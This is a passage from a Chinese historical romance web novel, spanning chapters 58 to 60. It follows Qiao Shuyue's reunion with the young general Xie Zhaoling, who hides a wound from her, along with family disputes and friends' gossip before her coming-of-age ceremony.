眼前一道劲风未至,手腕便被人握住,用力地往后一拉。 随后一个娇小的身影挡在他跟前。 谢昭凌偏过头,不着痕迹地勾了下唇角。 褚玄英急急收了拳头,“你你你”了半天,因酒喝太多,嘴不利索,半天没憋出一句话来,还险些咬到自己的舌头。 褚玄英何许人也,那也是在战场上越过尸山血海的人。 他眼睛尖,一下就看到谢昭凌笑了,一口怒骂被卡在嗓子里。 这臭小子,心真是又黑又脏,在外头算计敌军,回到家里还要算计他这个做师父的。 摆出这么一副柔弱无助的样子给谁看?故意的是吧! 当初才到军中,有几个老兵看谢昭凌不顺眼,想给他点颜色瞧瞧,特意将他灌醉,又趁着他睡觉要动手脚,结果才刚近身,便被这小子踢了个半残。 仍在醉酒状态,却警惕防备着周遭,这是他自小的生活环境造就的,在安逸窝里养了两年,非但没能将他养废,反而愈发机警。 谁不知道小谢将军警惕性是数一数二的,想搞偷袭都难成,迎面来的明晃晃的拳头他能接不住? 褚玄英看他就是不想接,巴不得自己挨上这一下,反正不疼不痒的,还能白落着佳人关怀一场。 果然,佳人上钩了。 乔姝月一脸正经,严肃地道:“舅舅,怎么能打人呢?” 褚玄英有苦难言,冷笑了声,“何时衣冠禽兽也算是人?” “都说是衣冠禽兽,穿着衣裳,当然算人。” 乔姝月身后的低沉男声幽幽响起,她转头瞪了他一眼,“安生些。” 那边答得痛快:“好。” 褚玄英:“……” 褚玄英幽怨道:“不是说有事来不了?” 谢昭凌神情坦然,“我说过要去访友。” 褚玄英“哈”了一声。 当谁不知道呢,你小子在京城中还有什么旧友?认识的不都在这府上?谁啊?二公子还是四公子?总不至于是四公子院里的那条狗吧? “友呢?”褚玄英戏谑道,“她算是?” 谢昭凌不解,“为何不算?” 褚玄英:“……” 她难道不是你心上人吗? 但这话褚玄英没说,他直觉谢昭凌又给他设了个套,他要是往里钻,直愣愣地问出来,必会被谢昭凌炫到。 他才不上当呢。 “好啊,算,当然算。”褚玄英故意挑拨道,“在这院里吃住两年,怎么不算呢,你说是吧小外甥女儿,你们可是好友。” 怎料乔姝月非但没恼,反而脸红了起来。 她一副欲语还休的模样,羞赧地嗔了谢昭凌一眼,扭扭捏捏地,“嗯。” 褚玄英不懂自己明明绕开了陷阱,怎么好像还是被炫了一脸。 乔姝月想起前世来。 她和谢昭凌认识三年时间,并非最初便说开了彼此的心意。他们之间拖拖拉拉的,耗了一年才在一起。 谢昭凌对她坦诚直白,可是她不同。她才从一个狼窝爬出来,并不想那么快在到另一个男人身边去。 即便……即便这个男人是天底下最有权势的,也待她很尊重温柔,不会做任何强迫她的事。 但她实在是怕了,柳步亭在她生命里留下了太深的印记,她很排斥与一个男子建立亲密的关系,也并不信任他。 她不相信所谓的一见钟情,她觉得只是看上一眼便心动,分明就是见色起意,以色侍人能得几时好? 她不觉得谢昭凌对自己的耐心能持续太久,男人不都是一个样子?等他腻了,她还是会如同玩物一样,被人弃如敝履。 她当够玩物了。 所以哪怕谢昭凌待她再好,她也恪守本心,守住最后的一道防线。 在她没有解开心结前,那段时间她的地位很是尴尬。 后宫没有其他女子,只有她一个人。她对他尊敬有余,亲热不足。 旁人不敢置喙帝王的决断,只能暗地里说她不识好歹。 她一直顶着个“美人”的位分,充其量只能算得上“朋友”。 不知是不是谢昭凌体贴她的心思,他关怀她的方式,总以轻轻松松的一句反问——“我们不是朋友吗?我不可以知道吗?”来结尾。 以退为进,乔姝月便奈何他不得了。 他若是表露出一些欲念,她还能严词拒绝。 可他也承认他们是朋友,乔姝月没法反驳,只能任由他以“朋友”的名义,得寸进尺。 哪怕后来他没忍住亲了她,也是一本正经地同她说,这只是朋友之间的示好,让她不要多想,不要心存挂碍,没有要她回应的意思。 乔姝月不是傻子,何尝看不出他的隐忍和无奈? 他就像一个极有耐心又野心十足的猎人,等着他中意的猎物,自己一步一步迈进陷阱。 乔姝月终于心动了。 在猎人极有谋略和技巧的攻势下,慢慢失去了自己的心。 对着这样一个高高在上、强权在握,却小心翼翼地温柔真诚待他的男人,很难不心动吧。 朋友…… 这个词从那时起,在她这儿就不算清白了,起码用于在他们二人之间,反而罩上了一层暧昧的轻纱。 以友人之名,行情人之事。 无论前世还是刚刚,他们都是做过的。 乔姝月抬手捂了捂滚烫的脸颊,匆忙道一句“去睡了”,便转身关门,回屋去了。 褚玄英看了看谢昭凌,没从对方的脸上看出什么端倪。 他甩了下衣袖,睨人一眼,冷嘲热讽:“还留这?等人家父母来抓贼?用不用我帮人家报官啊?” 谢昭凌:“……” “师父,抱歉。” 褚玄英懒得搭理他,重重哼一声,扭头走了。 谢昭凌回头看了一眼窗上映着的那道娇俏身影,轻声笑着,亦转身离开,跟了上去。 明日还要应付宫里来的眼线,所以两人没在乔府过夜,回了将军府去住。 两人回到府上,褚玄英的酒才彻底醒了。 借着灯光,褚玄英这才看清谢昭凌身上的衣裳。 他眼角一抽,叫住:“你等会,你这衣裳……我怎么记得下午离府时不是这身?” 褚玄英左右打量,上下细瞧,惊道:“新衣裳?!” 没见过的! 谢昭凌微微颔首,“是。” 褚玄英单手叉腰,摸着下巴,琢磨半天,冒出个荒唐的念头,他狐疑道:“别告诉我你下午出门是去买衣裳了。” “回京前便叫人订做好了,只是去取。” 褚玄英像是被踩了尾巴的猫,一惊一乍地叫道:“你小子私会前还特意打扮了一番?!” 谢昭凌一本正经:“郑重一些。” 和褚玄英请了假后,他先去拿了新衣,又回府沐浴一番,将伤口重新换了药,才去乔家。 “郑重个屁!你郑重待人家的方式是半夜爬墙?!” “没有半夜,天还亮着。” 褚玄英抬手按了按人中,没说话。 半晌,谢昭凌没等到下句。 “师父,那我去睡了?” 褚玄英深呼吸,“滚蛋。” 谢昭凌温文尔雅行了一礼,十分尊师重道地嘱咐了一声:“我早叫人备下醒酒汤,您喝了再睡。” 褚玄英抬腿揣他的屁股,被人轻巧躲开,“还不快滚!” 还说不是日日盼着? 怕是打重病卧床、收到回京的圣旨后,他就每天每夜翻来覆去地琢磨往后的路了。 褚玄英实在难以想象,他回京后能掀起多大的风浪。 旁人不知其野心,他这个做师父的,三年时间,看得分明。 褚玄英怒色渐去,取而代之的,是凝重愁容。 他望着头顶上的明月,摇摇头,长叹了一声。 …… “哎。” 刘妈妈把床铺好,看向妆奁前摸着自己脸颊长吁短叹的少女。 笑道:“姑娘又在欣赏自己的美貌啦?” 乔姝月:“……” 她回眸,嗔道:“在你心里,我这么恬不知耻?” “姑娘本就是好看,对镜自赏有何羞耻的?我要是男子,娶回家天天对着姑娘这张脸,看都看不腻。” 乔姝月脸蛋微红,扭回身去,对着镜子里的自己,骄傲地扬眉,小声窃喜道:“说得也是。” 前世的陛下就看不腻。 她只是在遗憾,自己没有完整地经历他长大的过程。 不过这些事想想便罢了,要想有所作为,必定要付出相应的代价。 她宁愿错过那段成长的时光,也不想毁了谢昭凌的前途。 不过分开些时日,倒也不算全无好处。 今天她在他眼中看出了惊艳,他直勾勾地看着自己,这叫乔姝月心里又自豪又欣喜。 他们若日日相对,他必然不会有今日这般冲击。 她愈发坚定,当初救谢昭凌出来时,他待自己冷淡,只是因为年岁太小,是他没开窍,才不是她小时候长得丑。 熄灯后,乔姝月躺在床上,很快便困意来袭。 昏昏欲睡时,她猛地惊醒。 蓦地坐起身。 她抬手,往前伸,五指在空中虚虚按了按。 回忆着按在他心口时的触感。 双目发怔,喃喃道:“好像不太对。” 她摸过陛下的胸口。 穿着衣服的,不穿的,她都知道是什么感觉。 无衣物遮掩时,是紧绷的,富有弹性的。 身着外袍时,是健硕的,坚硬宽厚富有安全感的。 总之不像今夜那么软和厚。 好像垫了数层软布一样。 乔姝月想起什么,脸色倏地变白。 他受伤了。 第59章 【59】 边关的风,凛冽刺骨。 夜幕之下的荒原,是一望无际的黑暗与寒冷。 营帐之中,人影交叠。 身后的女子吐息如兰,呼出的气息化为一缕缕白雾,影影绰绰。 在这冰天雪地的寒冬之中,香雾如同一把烈火,从他的身体上舔舐而过。烈焰像永燃不尽似得,炙热的火舌将他吞噬、包裹。 屋里的篝火倏地灭了。 他扯开被褥,正欲起身去令其重燃。只才一动,柔弱的手臂便缠了上来。 身后贴上来一具火热的躯体,明明烫得他后背的伤口生疼,却哆哆嗦嗦地,嗓音细碎,轻颤着道:“别走,冷。” 一边说着,柳条般柔软的手臂沿着男子坚实紧致的腰身寸寸收紧,纤纤玉指轻搭在他的腰间。 一边又将下巴垫在他肩头,轻吐兰息,若有似无地勾缠着,她故意在他耳畔低语,那灵动的字符如蛇般钻入他的耳道,脊骨迅速窜上来一股酥软的麻意,连带着伤口都发出剧烈的痛。 心脏疯狂地跳动起来,胸腔里的血液顷刻间流向四肢百骸。 心底炽烈的欲在燃烧,蠢蠢欲动,很快盖过了钻心的痛楚。 他毫不犹豫地转身,将人扣在怀中,滚烫的唇就要落下。 “不然你还是去吧,阿凌哥哥。” 女子倏地偏过头,让吻落空,红唇中滑出娇吟笑意,往后躲着。 他单手钳住她下巴,盯着那双亮晶晶的乌眸,慢慢压了下去。 …… 美梦逐渐褪色。 天光破晓,谢昭凌睁开了双眼。 他捂着伤口起身,掀开被子,沉默良久。 又闭了下眼眸,再睁开时,眼底欲色尽褪。 他熟练地翻出新的寝衣,很平常地清理了衣裳,面不改色地走到书案前。 从画桶中抽出一幅未完成的画,将其展开。 一副女子的画像,只有轮廓,没有五官。 在边关时,数次从美梦中惊醒,看不清、记不起她的面容。 如今见过她长大后的模样,终于可以将她画下来了。 研磨掭笔,一气呵成。 朝阳透过窗缝,斜斜映到画上。 谢昭凌盯着女子的容颜,温柔地勾起了唇。 ** 又过两日。 谢昭凌随着褚玄英,正式到乔府拜访。 乔姝月彼时正在三哥的院里和他吵架,而四哥在一旁喝茶看戏,漫不经心,事不关己。 乔姝月将人拦在身前,急道:“三哥你别去,你不要总和那个姓叶的在一处,他不是个好的,你朋友那么多,找谁不行?我看林公子就不错,你去找他啊!” 乔束闻言不赞同地皱眉,他单手负在身后,板着脸训斥道: “奉惟兄与我同窗数载,他的人品我自看得分明,你与他不过寥寥数面之缘,何故总在我面前说他的坏话?夫子教导莫要背后论人是非,你都这般大了,这个道理不懂吗,怎么还跟小孩子一样。” 三哥是几个兄弟里最像乔父的,明明与大哥都是褚氏所生,却没有半分继承褚氏的豁达开明。 大哥刚正不阿,只因在大理寺任职,为人严肃了些,但和家人相处时还是好说话的。三哥却和乔父像是一个模子里刻出来的似得,固执己见,爱认死理。 “姝月,这些年我在家的时间不多,每回归家小住,你不说近来所学,不问兄长近况,只一味地说我好友的坏话,我忍你一次两次,却不能一再纵你胡闹下去。” 乔姝月被他气得头顶冒烟,对那个姓叶的更是恨得牙痒痒。 前世三哥就是对那个姓叶的太过信赖,才会着了人家的道,落得个溺亡的下场。 在死后,姓叶的还败坏三哥名声,说他看上了一小倌,却无银两为人赎身,只能眼看着心上人与旁人卿卿我我。说他嫉妒得眼红,和一富商拈酸吃醋,却又懦弱不敢正面对抗,只得借酒浇愁,最后一时想不开便投河自尽了。 那时乔家已经败落,多的是落井下石之辈,加上叶奉惟与三哥素来形影不离,是至交好友,众人对于他的话深信不疑。 家族覆灭,父兄死的死,下狱的下狱,他还一心情啊爱的,人人皆说他书都读到狗肚子里去,死了也不足惜。 读书人最重清名,尤其是三哥这种书读多了的死脑筋。最后不仅命没保住,在死后连这辈子最珍视的声誉都毁了。 乔姝月逐渐冷静下来,眼眶还泛着丝丝的红,“三哥,你识人不清,我会叫你看透他的真面目的。” 她幼时抓不到三哥的人,只能找机会就说叶奉惟的坏话。如今三哥从国子监完成了学业,往后要常住在家中,更方便她破坏二人友谊。 乔束却只觉得妹妹不可理喻,他沉了脸色,毫不客气道:“你可是听旁人说了什么?奉惟兄虽是叶家庶子,但他博学多才,是有目共睹的,连先生都对他赞不绝口,我亦十分欣赏他的才学,你不能因为他的出身就瞧不起他。” 乔姝月反驳道:“无论嫡庶,他都是叶宰辅之孙,自然人人都巴结他。再说,才学能作为衡量一个人品格的标准吗?难道他才高八斗,就不会行伤天害理之事吗?” 乔束冷声道:“为何不可作为标准?读过书受过教,总好过不学无术之徒。” “瞧,三哥自己也对门第抱有偏见。”乔姝月不退不让,自揭伤疤,“那三哥以为,柳步亭之流又如何?” 柳家更是名门望族,不也养出了识文断字却卑鄙龌龊的后辈? 乔束微微蹙眉,“我并未与他深交,他不是已然过世了吗?” 他连自己亲妹妹身上曾发生过什么都不知。 当真是两耳不闻窗外事,一心只读圣贤书。 乔誉再看不过眼,放下茶盅起身,挡在争吵的二人之间,将乔姝月护在身后。 兄弟两人相差三岁,但身高却相差无几。 乔誉眼神里并无冒犯,可语气中却无多少尊敬,冷淡地勾起唇角,轻嗤了声: “三哥既对家中之事漠不关心,就不要冲月儿摆兄长的架子。我也是庶子,月儿并未因此瞧不上我,可见她对那人心存不满,必定另有缘由。” “三哥以己度人,有失君子风度,未知全貌便对幼妹加以指责,亦非君子所为。三哥去岁春闱落榜,如今该多花些心思在读书上,这出门访友,还是能少则少吧。” 乔束神情复杂,看着面前的弟弟。 他年长乔誉三岁,比乔誉早早入了国学,早早参加科考。他每一步都比乔誉要快,从小到大,一直如此,直到去年。 他去年春闱落榜,要等后年再继续。 乔誉明年参加秋闱,若他一举得中,后年的春闱他们兄弟俩就会一起。 到时候若是被弟弟越过去…… 乔誉似笑非笑,“三哥,还出去吗?” 乔束回神,脸色难看地看了看二人,径自往外走。 乔姝月追到院子门口,急急叫他一声,“你还是要去吗?” 她跑得急,不知三哥为何忽然停了步子,俩人猝不及防撞上。 三哥被撞得往前踉跄了两步,他没回头,盯着远处的人。 乔姝月显然没料到有人聚在外头,绕过他身子往外望去,这一眼对上某人的视线,不由得一愣。 乔誉也慢悠悠地跟了出来,手搭在三哥肩膀上,歪头笑道:“原来三哥还要去啊。” 三哥冷着脸把他的手抖掉,嗓音含冰:“我去给父亲母亲请安。” 乔姝月眼前一亮,从某人身上收回视线,“然后呢?” 三哥瞪了一眼乔誉,“然后回房读书。” “……” “真是经不起激将。” 乔誉望着三哥的背影,轻声嘲讽。 乔誉揽着妹妹的肩膀往回,却见人钉在原地一动不动,乔誉顺着望过去,只来得及见到那人的衣角,而后便入了主院去。 三哥的院子与主院相邻,在这能见到他们也不稀奇。 乔誉还记着某人缺席接风宴的仇,撇了撇嘴,没好气道:“我还以为他死在外头了。” 不然怎么连家都不知道回?这都过去几天了?真是够没良心的。 腰间忽然怼上来一拳,乔誉痛呼一声,垂眸对上妹妹凶狠的目光。 乔誉无奈:“我向着你呢,他都不来找你。” 乔姝月可疑地红了红脸,嗔他一眼,提着裙子跑了。 当日午膳,乔姝月想法子要去褚氏院里蹭饭吃。 结果被人挡了回来。 紫棉回话道:“夫人说要宴请宾客,姑娘不便出面。” 乔誉坐在大树下乘凉,闻言笑了笑,“母亲怕是还防着他呢。” 乔姝月疑惑道:“防他作甚?” 乔誉有时真不知她是真傻还是装糊涂,直言道:“你与他,在当年就被人看出来了。” 乔姝月摇摇头,“那时我和他没什么的。” “你这话骗骗自己就罢了。”乔誉顿了顿,道,“还能骗骗二哥。” “可我……” 乔姝月拧着眉,三年前她还小,怎么会呢?她那会没有别的心思,她待谢昭凌始终如一,她的偏袒与爱护是从一开始就有的,何至于到分别时被人察觉出异样? 乔誉冷淡道:“喜欢一个人,眼睛瞒不过。况且那时他……或许是受了刺激吧,那一日忽然就变得和往常不同。” 年少时,也许还未曾察觉情愫,但意识到她在心里的分量,应是不难。 更何况是谢昭凌那般早慧之人,想的比人多,心思比人深,看得也更远。 他可不像会介意年龄问题的人,他看事情通透深刻,必然不会被外表轻易迷惑,他看的是乔姝月的本质,一旦入了眼,莫说三年五载,就是十年二十年,也不会有分毫改变。 她的本性不会改变,那他迟早都会为之心动。年纪太小,那他就等,等着她长大,不算什么难事,人总会长大的。 只是分别在即,他因为某些原因,不想再遮掩了。 也许是他故意不做遮掩,这样褚氏想为她定亲时,便会先想到他。 临走了,还不忘把自己深深印在每个人的脑子里,生怕别人忘了他。 乔誉不适地皱了下眉,说不清自己为何会这么了解谢昭凌。 想不出缘由,约莫是直觉吧,毕竟性情相近,他们总是能看透彼此。 乔誉问道:“那日从悦泉楼回来,他有说过什么奇怪的话吗?” 乔姝月陷入回忆,想起谢昭凌问过关于预知梦的事。 应该并无异样,毕竟他们先前就讨论过类似的话题。 乔姝月沉默摇头。 乔誉却冷笑了声:“有秘密不足为外人道啊。” 乔姝月心虚:“……四哥,我们没有。” “你们。” 两个字在乔誉齿间滚了两圈。 他起身,往外走。 “四哥去哪?” “我去会会宾客。” 没等他去,宾客不请自来。 这还是乔誉头一次见到成年以后的谢昭凌。 男子身着深色的常服,腰束金丝玉带,身姿笔挺而修长,气质沉稳内敛,那双眼睛里没了显而易见的攻击性,一副淡漠寡情的模样,倒比年少时愈发深不可测。 当年那个桀骜不驯的小狼崽,如今竟也学会了收敛獠牙,藏起利爪,与人周旋于这混沌世间。 他如今算是扶摇直上,今非昔比了。 “四公子。”男人温文尔雅,行了一礼,“你果然在此处。” 男子眼底含了几分笑,语气也十分和缓,全然没有架子。 乔誉却觉得,这笑不是对着他。 乔誉回身望了一眼,果然见妹妹含情脉脉地望着这边。 即便知道他们对彼此的心意,也朝夕相处过好多年,可乔誉心底还是十分不痛快,看谢昭凌又不顺眼起来。 他故意往前,挡住二人交错的目光,语气不善:“小谢将军来此处作甚?这是后宅。” 谢昭凌语气温和地道:“夫人想让下人来请四公子赴席,在下许久未与四公子相见,甚是想念,便亲自来迎。” 甚是想念? 乔誉生出一阵恶寒。 没想到边关的风沙能将人吹傻。 这种不要脸的话竟能从谢昭凌的嘴里说出来?! 乔誉小声嘀咕:“没想到母亲准你进来。” “夫人宽宏,始终如一。” 乔誉呵呵冷笑,“那走吧。” 乔姝月忽然插话:“叫四哥去,那我呢?” 谢昭凌这才光明正大,将目光落了过来。 他的目光更柔了几分,喜爱之情溢于言表。 他看向乔姝月眼底两抹青色,温声道:“姑娘应当好生休息。” “哪里睡得好啊。” 乔姝月埋怨了一声。 自从发现他可能受伤以后,每晚翻来覆去都在担忧。 梦里也是陛下去前线打仗,浑身是血从马背上掉下来的样子。 谢昭凌愣了下,没忍住往前走了两步。 乔誉斜眼看着,咳嗽一声,收效甚微。 没有人理会他的警告。 谢昭凌走到近前,微微低头,目光关切,“睡不好吗?” 他想摸摸她的头,顾虑着人多眼杂,按捺住冲动,没有抬手。 乔姝月却肆无忌惮地,抬手戳了戳他胸口。 动作亲昵,语气暧昧道: “你就没有什么事是瞒着我的吗?” 她横眉怒目,眼睛带着勾子。 谢昭凌眼眸低垂,目光缱绻,将她的手指攥进掌心,“不敢。” “我瞧你敢得很,松手。” 谢昭凌置若罔闻,嘴边勾起了一抹笑意。他一语不发,瞳仁像漩涡,诱人深陷。 乔姝月倏地抽回手指,眯着眼,手在颈部做了个抹脖子的动作,又瞪他一眼。 像是在说——敢骗我,你死定了。 她转过身,脸色蓦地沉了下去。指尖的确触到了柔软的纱布,他就是受伤无疑。 受了伤竟想着瞒她。 乔姝月怒气冲冲往屋里去,吼了一句:“玉竹,我饿了!” 谢昭凌久久望着那道关起房门,意犹未尽地摸了摸胸口。 他抿唇笑笑,而后又一抹忧虑浮上心头。 怎么办,好像被发现了。 可她刚刚摸了他。 她好凶,好可爱。 她还摸他。 乔誉冷声嘲讽,“人家都生气了,想想怎么哄吧。” 他抬手抓住男人的胳膊,把人往外拖。 “碰你一下,尾巴翘到天上去。” 回应他的,是一声低沉的笑。 第60章 【60】 原本及笄宴的请帖要由乔姝月亲自送到将军府上去。 可褚氏不愿让乔姝月去,便趁着褚玄英来,顺道给了他。 褚玄英一向不喜欢这些繁文缛节,捏着那张精致的请帖,戏谑道:“怎么,这帖子我要是不收,还不能来了?” “能来能来,谁还能拦得住你不成?” 褚氏眼见乔父又要张嘴,连忙把话题岔开。 她问过谢昭凌的近况,又问起他的表字。 谢昭凌只道自己出身微寒,不比京中世家大族子弟,表字取不取并不妨碍。 褚氏想起他的身世,亦不由得怜惜,叹了声,“也是,那些人捧高踩低,你若附庸风雅,背地里不定怎么说道你。” 知道内情的褚玄英暗暗翻了个白眼。 乔父闻言冷哼道:“当初什么都是假的,身世能是真的?” 当初谢昭凌在悦泉楼待过一段的事暴露,被乔父审问生平经历,谢昭凌坚持说养父母病故,生父母不详,他从老家逃难而来,不甚落到那地方去。 对于家乡何处,养父母姓甚名谁,一概未说,问就是不记得,不知道,不清楚。 乔父对此耿耿于怀,哪怕谢昭凌如今功成名就,成了炙手可热的新贵,乔父也依旧改不过老观念。 一个卑微的出身,便能否定他所有的天赋与努力。 褚玄英又翻了个白眼,呛声道:“妹夫要实在闲着没事,就去再写奏折参柳家一本。柳家大夫人近来疯疯癫癫,连我都见着了。” 柳字一出,屋中寂静下去。 关于柳家,当年那事至今都讳莫如深。这些年里他们避讳谈及柳家人,一是怕触及伤心事,二则不想惹祸上门。 始作俑者就坐在这,褚氏不能任由事态继续发展。 她要挟乔父说要把他那些藏书全都赠送给念不起书的穷苦人家,乔父立马服软,直到午膳用完,都没再说一个字。 席间三哥乔束频频看向谢昭凌。 他不识得此人,但见其言语间与家人颇为熟络,连母亲都对其了解非常,便知此人是自己读书那些年,在家中生活过的。 他不由得反思,自己是否真的对家中事太过漠不关心了。 饭后乔束将谢昭凌叫到一旁,询问其与乔家的渊源。 谢昭凌愣了一愣,没想到对方对自己毫无印象,且似乎对他的事情知之甚少。他心中愈发淡漠,心中暗自衡量,这位三公子对乔姝月的关心恐怕要排到最后一位。 面上却不显冷淡,笑着说,自己从前跟在月姑娘身边当差,机缘巧合被褚将军收为徒弟,后来又跟随师父远赴边疆。 乔束听闻其经历,倒对其刮目相看两分。 当年的事他不清楚,可这位近来的风头不小,连他都知道。他倒没有乔父那般迂腐不通情理,对于这样的豪杰,自己还是佩服的。 寒暄过后,乔束回房念书。 褚玄英还有事同褚氏商量,便让谢昭凌同乔誉出去走走。 两人当初一起在学堂读书,关系匪浅,如今正是再熟络起来的好机会。 二人并肩行在小路上,往乔誉的院子走。 谢昭凌随意聊起:“怎不见二公子?” 乔誉没什么精神,恹恹道:“二哥前些日子和人起了争执,回来被父亲关了禁闭。” 这争执自然不单是口舌之争,只怕还动了手。 谢昭凌扯了下唇,“二公子的性子一如既往。” 乔誉忽得停下脚步,一语不发。 谢昭凌回头看他,也没说话。 四目相对,气氛忽然紧张起来。 路过的婢女与小厮皆垂首快步走过,行礼时轻声细语,生怕主子的怒火殃及自身。 半晌,乔誉才道: “二哥一如从前,那你呢?” 他嗓音微哑,似在隐忍克制什么情绪。 谢昭凌从容道:“我自然也是。” 乔誉提步走近,目光锋利,“我看未必。” 当初那个以暴制暴的少年,如今面对挑衅与质问,也学会了不动声色地化解。 谢昭凌挑眉,淡淡反问:“四公子何意。” “你们见过?” 话题跳转突兀,谢昭凌却瞬间听懂了乔誉在问什么。 他坦然承认:“嗯。” 乔誉忍无可忍,抬手挥拳。 嘭——!! 一击带着怒火,用了十成力道的拳头被人轻而易举地截住。 乔誉的拳头被人牢牢攥在手里,动弹不得,他怒目而视,咄咄逼人: “你从前可不会偷偷摸摸的!说什么一如从前!” 谢昭凌却轻笑了声,眼底没有丝毫笑意。 “二公子仍是她兄长,自然始终如一。二公子听闻她的流言,可以肆无忌惮,向对方挥拳。我曾经也可以……可我如今身份,怎能再与从前相较?我与二公子,如何比得?” 从前的谢护卫可以大大方方进到木兰院,甚至是进到她的闺房。 他理所应当出现在她身边,任何地方,任何时候,他都可以与她形影不离。 可如今呢?如何使得? 如今的小谢将军,连到乔府拜访,都不能随意走动。要想见她,只能逼人耳目,偷偷摸摸。 谢昭凌认真道:“四公子,我初心未改。” 乔誉用力抽回手,骂道:“你混账!” 谢昭凌低垂了眼睫,轻声道:“抱歉,忍不住。” 他日思夜想的人,回京后是一定要先见到的。 “那你更该正大光明的!” 光明正大拜会她的父母,诉说自己的情意,再真诚求娶,坦坦荡荡,才叫不委屈了她。 谢昭凌沉默半晌,肩膀的力卸了,无奈道:“乔御史对我不满。” 连他曾经在乔府做护卫这事,乔父至今都心结难解,总觉得自己瞎了眼,识人不清,招了个不三不四的人进家门。 难道他如今军功在身,在乔父眼里就不一样了吗?还是一样的,他依旧是个说不明身世,来路不清不楚的人。 若他坦荡地表露真心,被乱棍打出去还是小事,若惹恼了二位长辈,往后都不准他进门,连见面的借口都没有了,那又该如何是好? 总不能次次都靠他翻墙进来,或者约她出去私下会面。 那才是真的辱没了她。 “父亲素来如此,他看中门第,你么,他自然瞧不上。”乔誉看不惯他这副气馁的模样,嫌弃道,“怎么,父亲看不上你,你就放弃了?” “我不会放弃,除非我死。” “那你还顾虑什么?” 顾虑…… 京中各方势力。 以及,他对自己的身世多少有了些眉目。 谢昭凌仰头望着天空,坦诚道:“我总得先把自己的麻烦解决干净,总不能连累她跟我受苦。” “你好意思让她继续等你?” “我会先同她说清楚,她若不愿……我再想想办法。” 与师父说不出口的话,对着乔誉却能坦露。 当初他帮着乔誉出主意,乔誉欠他的人情,如今也该还一还了。 “我可不会帮你。” 乔誉瞬间就看清他的盘算,脸色难看,甩袖离开。 谢昭凌低声笑出声,对着乔誉远去的背影,拱手行礼。 “多谢四公子。” “……” 这人真是一如既往地让人不喜。 ** 转眼到了四月十六,乔姝月及笄的日子。 乔姝月一早便单独接了几个好姐妹回木兰院,陪着她一起做笄礼前最后的准备。 褚氏在正门迎接宾客到来,这次请的都是与乔姝月交情不错的世家千金,还有同褚氏交好的几位夫人。 乔家无意结党,在宾客名单上慎之又慎,反复斟酌,筛选过好几轮,才最终确定了这些人。 褚氏招呼着众夫人入席,看到自己的手帕交,连忙笑着过去。 “姝月长大了,你这又多了一桩操心事。”赵氏一来便打趣道,“我瞧今儿人不算多,怎么,怕了?” 褚氏无奈笑道:“不在名单上把好关,回头那些不相熟的夫人若带了儿子来,我是迎还是不迎?” 其实早在月前便有几家夫人在打听,心思昭然若揭,褚氏没给她们机会,都用场面话挡了回去,一律都回绝了。 说话间,少夫人陆思芸正将宾客往内厅引,路过两位母亲,笑意盈盈地福了福身。 褚氏慈爱地拍拍她手臂,“辛苦你了,等会儿我就过去。” “母亲不急,儿媳能应对。” 陆思芸没说两句,便又忙开去了。 褚氏这才对赵氏道:“芸儿是我看着长大的,她与叙儿青梅竹马,她嫁到乔家来,你自然放心。只是我那小女儿……” 赵氏闻言也叹了口气,“从前有个……有那人在,谁敢与姝月走得太近?如今倒是轻松了,可姝月也愈发不爱出门,去哪儿认识青年才俊。” 说起柳步亭,褚氏面色一变,赵氏见状便不再提,与她并肩往里去。 “思蓁呢?怎没见她?” “天没亮就醒了,吵着闹着要去找姝月,比她自己及笄都兴奋,这会儿怕是在木兰院里上蹿下跳呢。” …… 木兰院。 陆思蓁托着腮,两眼泪汪汪,拉着乔姝月的手,依依不舍道:“及笄之后便能议亲,也不知往后便宜了哪家的臭小子。” 施芊闻言,意味深长地看了乔姝月一眼,也跟着重复一遍:“是啊,便宜了哪家臭小子呢。” 她语气奇怪,惹得心思敏感的林韵频频看向她。 几人正说着,刘妈妈端着药碗走了进来。 这药熬了一个时辰,是以刘妈妈并未见到梳妆的全过程。乍一眼看过去,还是会被乔姝月的容貌惊艳到。 刘妈妈感慨了声:“姑娘真美。” 玉竹得意洋洋地扬起下巴,自豪道:“那可不,也不看是谁的手艺。” 众人皆将视线落了来。 只见少女对镜梳妆,面颊羞红,一双乌润的瞳眸中漾着水波,雾气溟濛,瞧人一眼,便能勾得人心头发痒。 林韵看得挪不开眼,陆思蓁拉着她的手哀嚎,嚷嚷着自己为何不是男子,若是男子就能将她娶回家了。 闹得乔姝月直笑话她:“不管你那个在老家指腹为婚的表哥了?” 一提表哥,陆思蓁也难得露出几分羞赧来,她恼羞成怒,言说两个都要也不是不行。 这边打闹,那边施芊嗅着汤药的味道,微微蹙眉,走到刘妈妈身边,小声问道:“伤寒药?” 刘妈妈点头,“前几晚误饮烈酒,吹风受凉了。” “饮酒……她心里有事?” 自从那人走后,乔姝月一直很爱惜自己的身子,滴酒不沾不说,更不会夜里跑出来吹风。 刘妈妈笑而不语。 施芊却读出了几分暧昧,神情恍然,半晌,琢磨明白,捂着唇轻笑了声。 难怪,今日一大早就一副忐忑紧张的模样,眉梢眼角尽显小女儿情态。 一会功夫,姐妹间的话题又变了。 只因陆思蓁多嘴说了一句“柳家”。 “自柳步亭死后,大夫人就变得疯疯癫癫的,隔三差五都能听到她发病的传闻,今日一早她在街口撒泼拦轿,说不许我们来赴宴,还说——” 陆思蓁及时住了口。 乔姝月却对她的未尽之语心知肚明。 无非就是骂她,不该活这么久。 凭什么她自己的儿子死了,她却还活得好好的,甚至还活到了及笄这一日。 “嘁,分明是柳步亭自己去那腌臜地寻花问柳,才被人寻仇给杀了的,怎么能怪到月月身上?那日他们分明都没有碰过面。” 施芊倒没听过这事,好奇道:“最初不是说失踪?怎么又死了?找到尸首了?” “你没听说悦泉楼被人查封?暗道里有一具尸骨,听说是柳步亭的。” “我倒是听闻过后头这事,可暗道里那个不是白骨吗?肉都被老鼠分食干净,怎么能分辨出是谁的?” “有人看衣裳碎片眼熟,认出是柳步亭的。” 施芊看过不少破案话本,此刻禁不住漫无边际地胡乱揣测道:“也有可能是有人故意混淆视听,或许是柳步亭被人绑走,贼人用那尸首和衣裳代替了他。” 陆思蓁显然没想过这个可能,愣在原地。 乔姝月噗嗤一笑,“绑他走,图什么?图钱?未曾敲诈过柳家。图命?绑了再杀岂非多此一举?” 施芊沉思片刻,拍下脑袋,斩钉截铁道:“必然是看上了他,他抵死不从,于是被人强行掳走。” 乔姝月眼尾微扬,戏谑道:“带回去做压寨夫君?” 施芊:“……” 屋中人顿时都笑作一团。 施芊面皮紧绷,嘴硬道:“不无可能,毕竟天下之大,无奇不有!” 